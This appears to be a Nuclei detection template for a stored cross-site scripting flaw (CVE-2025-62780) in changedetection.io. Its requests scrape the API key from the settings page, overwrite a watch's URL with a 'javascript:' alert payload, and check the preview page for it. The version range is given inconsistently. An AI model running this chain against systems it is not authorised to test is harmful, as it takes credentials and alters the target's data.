id: CVE-2025-62780 info: name: ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API author: 0x_Akoko severity: medium description: | changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction impact: | Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user. remediation: | Update to version 0.50.34 or later. reference: - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9 - https://nvd.nist.gov/vuln/detail/CVE-2025-62780 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N cvss-score: 6.2 cve-id: CVE-2025-62780 epss-score: 0.00435 epss-percentile: 0.35815 cwe-id: CWE-79 metadata: max-request: 4 verified: true shodan-query: title:"Change Detection" fofa-query: title="Change Detection" tags: cve,cve2025,changedetection,xss,stored,api variables: string: "{{to_lower('{{randstr}}')}}" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "Change Detection", "changedetection.io")' - 'compare_versions(version, "<= 0.50.33")' condition: and internal: true extractors: - type: regex name: version part: body internal: true group: 1 regex: - 'id="right-sticky">v([0-9.]+)<' - type: xpath name: watch_uuid part: body internal: true attribute: id xpath: - "//table[contains(@class,'watch-table')]//tbody/tr[1]" - raw: - | GET /settings HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "api-key")' condition: and internal: true extractors: - type: regex name: api_key part: body internal: true group: 1 regex: - 'id="api-key">([a-f0-9]+)' - raw: - | PUT /api/v1/watch/{{watch_uuid}} HTTP/1.1 Host: {{Hostname}} x-api-key: {{api_key}} Content-Type: application/json {"url":"javascript:alert(document.domain)","title":"{{string}}","paused":true} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "OK")' condition: and internal: true - raw: - | GET /preview/{{watch_uuid}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "javascript:alert(document.domain)", "{{string}}")' condition: and # digest: 4b0a00483046022100b8a143e1c6d6eaa4def93c627c95d069ba52b819da9d9cfd1d00c5849728c194022100f35b0ed23a0c4f8fb4b73a7dd9a7f21b7881340df2d46d72fb5f253088a9f9e4:922c64590222798bb761d5b6d8e72950